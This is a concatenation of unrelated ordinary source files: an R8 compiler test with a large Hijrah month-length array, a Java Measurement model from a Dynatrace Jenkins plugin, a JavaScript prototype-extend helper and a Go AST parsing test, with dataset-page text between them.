testForR8(Backend.CF)
.addKeepMainRule(MethodHolder.class)
.addInnerClasses(BasicBlockMuncherQuadraticTest.class)
.noMinification()
.addOptionsModification(options -> options.testing.basicBlockMuncherIterationLimit = 50000)
.compile();
}
public static class MethodHolder {
public static void main(String[] args) {
System.out.println(Arrays.deepToString(methodWithLargeArray()));
}
// Inspired from java/time/chrono/HijrahChronology#hijrahUmalquraMonthLengths
private static int[][] methodWithLargeArray() {
return new int[][] {
{60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59},
{60, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 59},
{60, 60, 60, 59, 60, 60, 59, 59, 60, 59, 59, 60},
{59, 60, 60, 59, 60, 60, 59, 60, 59, 60, 59, 59},
{59, 60, 60, 59, 60, 60, 60, 59, 60, 59, 60, 59},
{59, 59, 60, 60, 59, 60, 60, 59, 60, 60, 59, 59},
{60, 59, 60, 59, 60, 59, 60, 59, 60, 60, 59, 60},
{59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60},
{59, 60, 60, 59, 60, 59, 60, 59, 60, 59, 59, 60},
{59, 60, 60, 60, 60, 59, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 59, 60},
{59, 60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 59},
{60, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59},
{59, 60, 59, 60, 59, 60, 59, 60, 60, 60, 59, 59},
{60, 60, 59, 60, 59, 59, 60, 59, 60, 60, 59, 60},
{59, 60, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{59, 60, 60, 60, 59, 60, 59, 59, 60, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 60, 59, 59},
{60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60, 59},
{59, 60, 59, 60, 60, 59, 60, 59, 60, 60, 59, 60},
{59, 60, 59, 59, 60, 59, 60, 59, 60, 60, 60, 59},
{60, 59, 60, 59, 59, 60, 59, 59, 60, 60, 60, 60},
{59, 60, 59, 60, 59, 59, 59, 60, 59, 60, 60, 60},
{59, 60, 60, 59, 60, 59, 59, 59, 60, 59, 60, 60},
{59, 60, 60, 59, 60, 59, 60, 59, 59, 60, 59, 60},
{60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 59, 60},
{59, 59, 60, 59, 60, 60, 59, 60, 59, 60, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 60, 59, 59, 60, 59, 59, 60, 60, 60, 59, 60},
{60, 59, 60, 59, 59, 60, 59, 59, 60, 60, 59, 60},
{60, 60, 59, 60, 59, 59, 60, 59, 59, 60, 60, 59},
{60, 60, 59, 60, 60, 59, 59, 60, 59, 60, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 59, 60, 60, 59, 59},
{60, 59, 59, 60, 60, 59, 60, 60, 59, 60, 60, 59},
{59, 59, 60, 59, 60, 59, 60, 60, 60, 59, 60, 59},
{60, 59, 60, 59, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 60},
{60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{59, 60, 60, 59, 60, 60, 59, 59, 60, 59, 60, 59},
{60, 59, 60, 59, 60, 60, 60, 59, 60, 59, 59, 60},
{59, 59, 60, 59, 60, 60, 60, 60, 59, 60, 59, 59},
{60, 59, 59, 60, 59, 60, 60, 60, 59, 60, 60, 59},
{59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 59, 60, 60, 59},
{60, 59, 60, 59, 60, 60, 59, 59, 60, 59, 60, 59},
{60, 59, 60, 60, 60, 59, 60, 59, 59, 60, 59, 59},
{60, 59, 60, 60, 60, 60, 59, 60, 59, 59, 60, 59},
{59, 60, 59, 60, 60, 60, 59, 60, 60, 59, 59, 60},
{59, 59, 60, 59, 60, 60, 59, 60, 60, 60, 59, 59},
{60, 59, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60},
{59, 60, 59, 60, 59, 60, 59, 59, 60, 60, 59, 60},
{60, 59, 60, 59, 60, 59, 60, 59, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 60, 60, 59, 60, 59, 59, 60, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 59},
{60, 59, 59, 60, 60, 59, 60, 60, 59, 60, 60, 59},
{59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 60, 60},
{59, 59, 60, 59, 60, 59, 59, 60, 59, 60, 60, 60},
{59, 60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 60},
{59, 60, 60, 59, 60, 59, 60, 59, 59, 59, 60, 60},
{59, 60, 60, 60, 59, 60, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 60, 59, 59, 60, 59, 60},
{59, 60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 59},
{60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 60},
{59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 60},
{60, 60, 59, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{60, 60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 59},
{60, 60, 59, 60, 60, 59, 60, 59, 59, 60, 59, 60},
{59, 60, 59, 60, 60, 60, 59, 59, 60, 59, 60, 59},
{60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 59, 60, 60, 60},
{59, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60, 60},
{60, 59, 59, 60, 59, 60, 59, 59, 60, 59, 60, 60},
{60, 59, 60, 59, 60, 59, 60, 59, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60, 59},
{59, 60, 59, 60, 59, 60, 60, 60, 59, 60, 59, 60},
{59, 59, 60, 59, 59, 60, 60, 60, 59, 60, 60, 59},
{60, 59, 59, 59, 60, 59, 60, 60, 59, 60, 60, 60},
{59, 60, 59, 59, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 59, 60, 59, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 59},
{60, 59, 59, 60, 60, 60, 59, 60, 60, 59, 60, 59},
{59, 60, 59, 59, 60, 60, 59, 60, 60, 60, 59, 60},
{59, 59, 60, 59, 59, 60, 60, 59, 60, 60, 60, 59},
{60, 59, 59, 60, 59, 59, 60, 60, 59, 60, 60, 59},
{60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59},
{60, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 59},
{60, 60, 59, 60, 60, 59, 60, 60, 59, 59, 60, 59},
{59, 60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 60},
{59, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60, 60},
{60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 59, 60, 59, 59, 60},
{60, 59, 60, 60, 59, 60, 60, 59, 59, 60, 59, 59},
{60, 59, 60, 60, 59, 60, 60, 60, 59, 59, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 59},
{60, 59, 60, 59, 60, 59, 60, 60, 59, 60, 59, 60},
{60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60},
{60, 60, 59, 60, 59, 59, 60, 59, 59, 60, 59, 60},
{60, 60, 60, 59, 60, 59, 59, 60, 59, 59, 60, 59},
{60, 60, 60, 59, 60, 60, 59, 59, 60, 59, 59, 60},
{59, 60, 60, 59, 60, 60, 59, 60, 59, 60, 59, 59},
{60, 59, 60, 59, 60, 60, 60, 59, 60, 59, 59, 60},
{60, 59, 59, 60, 59, 60, 60, 59, 60, 59, 60, 60},
{59, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60, 60},
{60, 59, 60, 59, 60, 59, 59, 60, 59, 59, 60, 60},
{60, 60, 59, 60, 59, 60, 59, 59, 60, 59, 59, 60},
{60, 60, 59, 60, 60, 59, 60, 59, 59, 60, 59, 59},
{60, 60, 59, 60, 60, 59, 60, 60, 59, 59, 60, 59},
{60, 59, 60, 59, 60, 59, 60, 60, 60, 59, 59, 60},
{59, 60, 59, 59, 60, 59, 60, 60, 60, 59, 60, 59},
{60, 59, 60, 59, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 60},
{60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 59, 60, 59, 60, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 60, 59, 60},
{59, 60, 59, 60, 59, 60, 59, 60, 60, 60, 59, 59},
{59, 60, 59, 59, 60, 59, 60, 60, 60, 60, 59, 60},
{59, 59, 60, 59, 59, 59, 60, 60, 60, 60, 59, 60},
{60, 59, 59, 60, 59, 59, 59, 60, 60, 60, 59, 60},
{60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 59, 60, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 59, 60, 60, 59, 60, 59},
{59, 60, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60},
{59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60, 59},
{60, 59, 59, 60, 59, 59, 60, 60, 60, 59, 60, 60},
{59, 60, 59, 59, 60, 59, 59, 60, 60, 59, 60, 60},
{59, 60, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60},
{59, 60, 60, 59, 60, 59, 60, 59, 60, 59, 59, 60},
{59, 60, 60, 60, 59, 60, 59, 60, 59, 60, 59, 59},
{60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60, 59},
{59, 60, 59, 60, 59, 60, 60, 59, 60, 60, 59, 59},
{60, 59, 60, 59, 60, 59, 60, 59, 60, 60, 59, 60},
{59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 59, 60, 59, 60, 59, 59, 60},
{60, 59, 60, 60, 60, 59, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 59, 60},
{59, 60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 59},
{60, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59},
{59, 60, 59, 60, 59, 60, 59, 60, 60, 59, 60, 59},
{60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 60},
{59, 60, 59, 60, 60, 59, 59, 60, 59, 60, 59, 60},
{59, 60, 60, 60, 59, 60, 59, 59, 60, 59, 59, 60},
{59, 60, 60, 60, 59, 60, 60, 59, 59, 60, 59, 59},
{60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 60, 59},
{59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60},
{59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60, 59},
{60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 60, 59},
{60, 60, 60, 59, 59, 60, 59, 59, 60, 60, 59, 60},
{60, 59, 60, 60, 59, 59, 60, 59, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60, 59},
{59, 60, 59, 60, 60, 59, 60, 59, 60, 60, 59, 60},
{59, 59, 60, 59, 60, 59, 60, 59, 60, 60, 60, 59},
{60, 59, 59, 60, 59, 59, 60, 59, 60, 60, 60, 60},
{59, 60, 59, 59, 60, 59, 59, 60, 59, 60, 60, 60},
{59, 60, 60, 59, 59, 60, 59, 59, 60, 59, 60, 60},
{59, 60, 60, 59, 60, 59, 60, 59, 59, 60, 59, 60},
{59, 60, 60, 59, 60, 59, 60, 59, 60, 60, 59, 59},
{60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 60, 59},
{59, 60, 59, 60, 59, 60, 59, 60, 60, 60, 59, 60},
{59, 60, 59, 59, 60, 59, 59, 60, 60, 60, 59, 60},
{60, 59, 60, 59, 59, 60, 59, 59, 60, 60, 59, 60},
{60, 60, 59, 60, 59, 59, 59, 60, 59, 60, 60, 59},
{60, 60, 59, 60, 60, 59, 59, 60, 59, 60, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 59, 60, 59, 60, 59},
{59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60},
{59, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 60, 59, 59, 60, 59, 60, 59, 60, 60, 59, 60},
{59, 60, 59, 60, 60, 59, 59, 60, 59, 60, 59, 60},
{59, 60, 60, 59, 60, 60, 59, 59, 60, 59, 60, 59},
{59, 60, 60, 59, 60, 60, 60, 59, 59, 60, 59, 59},
{60, 59, 60, 59, 60, 60, 60, 59, 60, 59, 60, 59},
{59, 60, 59, 59, 60, 60, 60, 60, 59, 60, 59, 60},
{59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 59, 60, 60, 59},
{60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 60, 59, 59},
{60, 59, 60, 60, 60, 60, 59, 60, 59, 59, 60, 59},
{59, 60, 59, 60, 60, 60, 59, 60, 60, 59, 59, 60},
{59, 59, 60, 59, 60, 60, 60, 59, 60, 59, 60, 59},
{60, 59, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60},
{59, 60, 59, 59, 60, 59, 60, 59, 60, 60, 59, 60},
{60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 59, 60, 59, 60, 59},
{60, 59, 60, 60, 60, 59, 60, 59, 59, 60, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 60, 59, 59, 60, 59},
{60, 59, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60},
{59, 60, 59, 59, 60, 60, 59, 60, 59, 60, 60, 59},
{60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 60, 60},
{59, 60, 59, 60, 59, 60, 59, 59, 59, 60, 60, 60},
{59, 60, 60, 59, 60, 59, 59, 60, 59, 59, 60, 60},
{59, 60, 60, 60, 59, 60, 59, 59, 60, 59, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 60, 59, 60},
{59, 60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 59},
{60, 59, 60, 59, 59, 60, 60, 59, 60, 59, 60, 60},
{59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 60},
{60, 59, 60, 59, 60, 59, 59, 59, 60, 59, 60, 60},
{60, 60, 59, 60, 59, 60, 59, 59, 59, 60, 60, 59},
{60, 60, 59, 60, 60, 59, 60, 59, 59, 59, 60, 60},
{59, 60, 59, 60, 60, 60, 59, 59, 60, 59, 60, 59},
{60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 60, 59},
{59, 60, 59, 59, 60, 60, 59, 60, 60, 59, 60, 60},
{59, 59, 60, 59, 59, 60, 60, 59, 60, 59, 60, 60},
{60, 59, 59, 60, 59, 60, 59, 59, 60, 59, 60, 60},
{60, 59, 60, 59, 60, 59, 60, 59, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 59, 60},
{59, 60, 59, 60, 59, 60, 60, 60, 59, 60, 59, 60},
{59, 59, 59, 60, 59, 60, 60, 60, 59, 60, 60, 59},
{60, 59, 59, 59, 60, 59, 60, 60, 59, 60, 60, 60},
{59, 59, 60, 59, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 60},
{59, 60, 59, 60, 59, 60, 60, 59, 59, 60, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 59},
{60, 59, 59, 60, 60, 60, 59, 60, 60, 59, 60, 59},
{59, 60, 59, 59, 60, 60, 60, 59, 60, 60, 59, 60},
{59, 59, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60},
{60, 59, 59, 59, 60, 59, 60, 60, 59, 60, 60, 59},
{60, 59, 60, 59, 60, 59, 60, 59, 59, 60, 60, 59},
{60, 60, 59, 60, 59, 60, 59, 60, 59, 59, 60, 59},
{60, 60, 59, 60, 60, 59, 60, 59, 60, 59, 59, 60},
{59, 60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 59},
{60, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60, 60},
{59, 60, 60, 59, 59, 60, 59, 60, 59, 59, 60, 60},
{59, 60, 60, 60, 59, 59, 60, 59, 60, 59, 59, 60},
{59, 60, 60, 60, 59, 60, 60, 59, 59, 59, 60, 59},
{60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 60, 59, 59, 60, 59},
{60, 59, 60, 59, 60, 59, 60, 60, 59, 60, 59, 60},
{59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 59, 60, 59, 59, 60, 59, 60},
{60, 60, 59, 60, 60, 59, 59, 60, 59, 59, 60, 59},
{60, 60, 60, 59, 60, 60, 59, 59, 60, 59, 59, 60},
{59, 60, 60, 59, 60, 60, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 59, 60, 60, 60, 59, 60, 59, 59, 60},
{59, 60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 60},
{59, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60, 60},
{60, 59, 60, 59, 59, 60, 59, 60, 59, 60, 59, 60},
{60, 60, 59, 60, 59, 59, 60, 59, 60, 59, 59, 60},
{60, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 59},
{60, 60, 59, 60, 60, 59, 60, 59, 60, 59, 60, 59},
{60, 59, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60},
{59, 60, 59, 59, 60, 59, 60, 60, 60, 59, 60, 59},
{60, 59, 60, 59, 59, 59, 60, 60, 60, 59, 60, 60},
{59, 60, 59, 59, 60, 59, 59, 60, 60, 59, 60, 60},
{60, 59, 60, 59, 59, 60, 59, 59, 60, 60, 59, 60},
{60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59},
{60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 59, 60},
{59, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 60, 60, 59, 60},
{59, 60, 59, 59, 59, 60, 59, 60, 60, 60, 60, 59},
{60, 59, 60, 59, 59, 59, 60, 59, 60, 60, 60, 59},
{60, 60, 59, 59, 60, 59, 59, 60, 60, 59, 60, 59},
{60, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59, 60},
{59, 60, 60, 59, 60, 59, 60, 60, 59, 59, 60, 59},
{59, 60, 60, 59, 60, 59, 60, 60, 60, 59, 59, 60},
{59, 60, 59, 59, 60, 59, 60, 60, 60, 59, 60, 59},
{60, 59, 60, 59, 59, 60, 59, 60, 60, 60, 59, 60},
{59, 60, 59, 60, 59, 59, 60, 59, 60, 60, 59, 60},
{60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 60, 59, 59, 60, 59},
{60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 59, 59},
{60, 59, 60, 60, 60, 59, 60, 60, 59, 60, 59, 59},
{59, 60, 59, 60, 60, 59, 60, 60, 60, 59, 59, 60},
{59, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59},
{60, 59, 59, 60, 59, 60, 59, 60, 60, 59, 60, 59},
{60, 59, 60, 60, 59, 60, 59, 59, 60, 59, 60, 59},
{60, 60, 59, 60, 60, 59, 60, 59, 59, 60, 59, 59},
{60, 60, 60, 59, 60, 60, 59, 60, 59, 59, 59, 60},
{59, 60, 60, 59, 60, 60, 60, 59, 60, 59, 59, 59},
{60, 59, 60, 60, 59, 60, 60, 59, 60, 59, 60, 59},
{59, 60, 59, 60, 59, 60, 60, 59, 60, 60, 59, 60},
{59, 60, 59, 60, 59, 59, 60, 60, 59, 60, 59, 60},
{59, 60, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{60, 60, 59, 60, 59, 60, 59, 59, 60, 59, 60, 59},
{60, 60, 59, 60, 60, 59, 60, 59, 60, 59, 59, 59},
{60, 60, 59, 60, 60, 60, 59, 60, 59, 60, 59, 59},
{59, 60, 60, 59, 60, 60, 59, 60, 60, 59, 60, 59},
{59, 60, 59, 60, 59, 60, 59, 60, 60, 59, 60, 60},
{59, 59, 60, 59, 60, 59, 59, 60, 60, 60, 59, 60},
{59, 60, 60, 59, 59, 59, 60, 59, 60, 59, 60, 60},
{60, 59, 60, 60, 59, 59, 59, 60, 59, 60, 59, 60},
{60, 59, 60, 60, 59, 60, 59, 59, 60, 59, 60, 59},
{60, 59, 60, 60, 60, 59, 59, 60, 59, 60, 59, 60},
{59, 60, 59, 60, 60, 59, 60, 59, 60, 59, 60, 59},
{60, 59, 60, 59, 60, 59, 60, 59, 60, 60, 60, 59},
{60, 59, 59, 60, 59, 59, 60, 59, 60, 60, 60, 59},
{60, 60, 59, 59, 60, 59, 59, 59, 60, 60, 60, 60},
{59, 60, 59, 60, 59, 59, 60, 59, 59, 60, 60, 60},
{59, 60, 60, 59, 60, 59, 59, 60, 59, 60, 59, 60},
{59, 60, 60, 59, 60, 59, 60, 59, 60, 59, 60, 59},
{60, 59, 60, 59, 60, 60, 59, 60, 59, 60, 60, 59},
{59, 60, 59, 60, 59, 60, 59, 60, 60, 60, 59, 60},
{59, 59, 60, 59, 60, 59, 59, 60, 60, 60, 59, 60},
};
}
}
}
|
batmat/performance-signature-dynatrace-plugin | ui/src/main/java/de/tsystems/mms/apm/performancesignature/dynatrace/model/Measurement.java | <filename>ui/src/main/java/de/tsystems/mms/apm/performancesignature/dynatrace/model/Measurement.java
/*
* Copyright (c) 2014-2018 T-Systems Multimedia Solutions GmbH
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package de.tsystems.mms.apm.performancesignature.dynatrace.model;
import org.kohsuke.stapler.export.Exported;
import org.kohsuke.stapler.export.ExportedBean;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlAttribute;
import javax.xml.bind.annotation.XmlRootElement;
@XmlAccessorType(XmlAccessType.FIELD)
@XmlRootElement
@ExportedBean
public class Measurement extends MeasureBaseModel {
@XmlAttribute
private long timestamp;
public Measurement(final long timestamp, final Number avg, final Number min, final Number max, final Number sum,
final Number count) {
this.timestamp = timestamp;
this.setAvg(avg.doubleValue());
this.setMin(min.doubleValue());
this.setMax(max.doubleValue());
this.setSum(sum.doubleValue());
this.setCount(count.longValue());
}
public Measurement() {
}
/**
* Ruft den Wert der timestamp-Eigenschaft ab.
*
* @return possible object is
* {@link long }
*/
@Exported
public long getTimestamp() {
return timestamp;
}
}
|
peakon/delighted-node | lib/utils/extend.js | <reponame>peakon/delighted-node
var merge = require('./merge');
function maskedPrototype(proto, exceptions) {
var masked = {};
for (var key in proto) {
if (exceptions.indexOf(key) === -1) {
masked[key] = proto[key];
}
}
return masked;
}
module.exports = function(protoProps, options) {
var parent = this;
var exceptions = (options || {}).except || [];
var Surrogate;
var child = function() { return parent.apply(this, arguments); };
merge(child, parent);
Surrogate = function () { this.constructor = child; };
Surrogate.prototype = maskedPrototype(parent.prototype, exceptions);
child.prototype = new Surrogate();
if (protoProps) {
merge(child.prototype, protoProps);
}
return child;
};
|
fossabot/go-doudou | svc/internal/codegen/ast_test.go | <filename>svc/internal/codegen/ast_test.go<gh_stars>0
package codegen
import (
"github.com/stretchr/testify/assert"
"github.com/unionj-cloud/go-doudou/astutils"
"github.com/unionj-cloud/go-doudou/pathutils"
"go/ast"
"go/parser"
"go/token"
"testing"
)
func TestStructCollector_Alias(t *testing.T) {
file := pathutils.Abs("testfiles/vo/alias.go")
fset := token.NewFileSet()
root, err := parser.ParseFile(fset, file, nil, parser.ParseComments)
if err != nil {
panic(err)
}
sc := astutils.NewStructCollector(ExprStringP)
assert.Panics(t, func() {
ast.Walk(sc, root)
})
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.